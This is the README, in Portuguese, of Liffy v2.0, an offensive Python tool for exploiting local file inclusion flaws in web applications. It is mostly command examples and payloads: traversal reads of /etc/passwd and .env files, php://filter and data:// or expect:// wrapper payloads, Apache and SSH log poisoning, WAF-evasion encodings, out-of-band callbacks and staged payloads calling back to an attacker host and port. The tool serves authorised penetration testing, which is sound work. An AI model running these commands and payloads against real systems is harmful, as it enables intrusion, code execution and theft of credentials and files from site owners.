
Ferramenta de exploração de inclusão de arquivo local

Uma poderosa ferramenta Python para exploração de Inclusão Local de Arquivos (LFI) com recursos avançados incluindo bypass de WAF, técnicas de codificação e detecção abrangente de vulnerabilidades.
Liffy v2.0 é a versão significativamente aprimorada do liffy que foi originalmente criado por rotlogix/liffy. Esta versão inclui recursos modernos como saída de terminal Rich, configuração YAML, threading aprimorado e múltiplas técnicas avançadas de exploração.
⚠️ Muitas mudanças novas foram codificadas no estilo vibe.
Certifique-se de que está usando Python 3. O Liffy não suporta Python 2. Os exemplos abaixo usam uv run python para que os comandos sejam executados dentro do ambiente do projeto.
# Install uv if you haven't already
curl -LsSf https://astral.sh/uv/install.sh | sh
# Clone the repository
git clone https://github.com/mzfr/liffy
cd liffy
# Create virtual environment with uv
uv venv
# Install dependencies from pyproject.toml
uv sync
# Run liffy
uv run python liffy.py --help
uv run python liffy.py <URL> [OPTIONS]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
positional arguments:
url URL to test for LFI
Core Techniques:
-d, --data Use data:// technique
-i, --input Use input:// technique
-e, --expect Use expect:// technique
-f, --filter Use filter:// technique
-p, --proc Use /proc/self/environ technique
-a, --access Apache access logs technique
--ssh SSH auth log poisoning
-dt, --directorytraverse Test for Directory Traversal
--null-byte Test for Null Byte Poisoning
--zip Test for ZIP wrapper exploitation
--wrappers, --wrapper Detect common LFI stream wrappers
--wrapper-list WRAPPER_LIST
Path to custom wrapper probe payload list
--oob Send out-of-band callback probes
--oob-url OOB_URL OOB callback base URL
--blind Run blind LFI response-difference checks
--blind-list BLIND_LIST
Path to custom blind LFI probe list
--auto Run a safe automatic scan plan
Advanced Options:
--encoding Use advanced encoding/bypass techniques
--waf-bypass Use WAF evasion techniques
--method {GET,POST} HTTP method to use (default: GET)
--post-data POST_DATA POST data (format: key=value&key2=value2)
--headers HEADERS Custom headers (format: Header1:Value1,Header2:Value2)
--detection Only perform LFI detection, no exploitation
Request Options:
--timeout TIMEOUT HTTP request timeout in seconds
--proxy PROXY HTTP(S) proxy URL, e.g. http://127.0.0.1:8080
--verify-tls Verify TLS certificates instead of using insecure requests
--user-agent UA Custom User-Agent header
--delay DELAY Delay between requests in seconds
--retries RETRIES HTTP retries per request
Automation Options:
--lhost LHOST Callback host for staged payloads
--lport LPORT Callback port for staged payloads
--read-file PATH File path to read with filter://
-y, --yes Use defaults for prompts and run non-interactively
--json Print a JSON run summary
--output OUTPUT Write JSON run summary to a file
--quiet Suppress normal terminal output
General Options:
-ns, --nostager Execute payload directly, do not use stager
-r, --relative Use path traversal sequences for attack
-l, --location LOCATION Path to target file (access log, auth log, etc.)
--cookies COOKIES Session cookies for authentication
-t, --threads THREADS Number of threads to use (default: 5)
--no-color Disable colored output
--no-banner Disable banner display
--config Create default YAML configuration file
Crie um arquivo de configuração para configurações persistentes:
uv run python liffy.py --config
Isso cria liffy_config.yaml com as configurações padrão:
# Liffy Configuration File
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
Defina disable_banner: true para ocultar o banner/logo de inicialização por padrão. As flags da CLI ainda substituem os valores de configuração, então você também pode usar --no-banner, --no-color ou --quiet para execuções pontuais.
Você também pode usar variáveis de ambiente:
LIFFY_THREADS - Número de threadsLIFFY_RATE_LIMIT - Atraso da limitação de taxaLIFFY_NO_COLOR - Desabilitar cores (true/false)Quando --waf-bypass está habilitado, o liffy aplica automaticamente múltiplas técnicas de evasão:
/**/, #, ;file:///, pHp://./, ../, bytes nulosCom --encoding, o liffy aplica métodos avançados de codificação:
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# POST com dados de formulário
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# POST com cabeçalhos personalizados
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# Enviar tráfego através de um proxy local e repetir falhas transitórias
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# Usar um User-Agent fixo e atraso personalizado entre requisições
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
A detecção de wrappers usa probes seguros padrão para file://, php://filter, data://, php://temp, php://memory e wrappers relacionados. zip://, phar:// e glob:// são tratados como informativos/condicionais porque geralmente requerem arquivos do lado do alvo ou comportamento de sink que exponha listagens.
Você pode fornecer uma lista personalizada de payloads de wrapper. Se --wrapper-list for omitido, o liffy usa os probes embutidos:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
Cada linha não vazia pode ser um payload bruto ou nome=payload:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
Use isso com um listener de callback HTTP/DNS. O liffy envia payloads no estilo wrapper de URL e você verifica se o alvo chamou de volta.
uv run python liffy.py "http://example.com/page.php?file=" --blind
Verificações cegas comparam probes de arquivos existentes com baselines de arquivos ausentes aleatórios e relatam diferenças de status, comprimento ou tempo quando o conteúdo não é refletido diretamente.
Você pode fornecer uma lista personalizada de probes cegos. Se --blind-list for omitido ou vazio, o liffy usa os probes embutidos:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
Cada linha não vazia pode ser um payload bruto ou nome=payload:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto habilita directory traversal apenas para detecção, verificações de wrapper e verificações cegas. Se --oob-url também for fornecido, inclui probes OOB.
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
Os seguintes locais padrão são usados quando nenhum caminho personalizado é especificado:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_logAceitamos contribuições! Veja como você pode ajudar:
Sinta-se à vontade para abrir uma issue para qualquer dúvida ou sugestão!
O modo de detecção do Liffy fornece análise abrangente de vulnerabilidades:
/etc/passwd[+] VULNERABILITY SUMMARY
==================================================
[1] Vulnerability Found
Payload: ../../etc/passwd
Confidence: 85%
Evidence: Linux /etc/passwd file: root:
Status Code: 200
Content Length: 1547
# Use técnicas de bypass de WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# Reduza o número de threads e aumente os atrasos
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# Aumente o atraso no arquivo de configuração
max_threads: 2
rate_limit_delay: 1.0
Para saída detalhada, você pode modificar a configuração:
debug_mode: true
verbose_output: true
O Liffy foi projetado apenas para testes de segurança autorizados.
Os autores não são responsáveis pelo uso indevido desta ferramenta.
Este projeto está licenciado sob a GNU General Public License v3.0 - consulte o arquivo LICENSE para obter detalhes.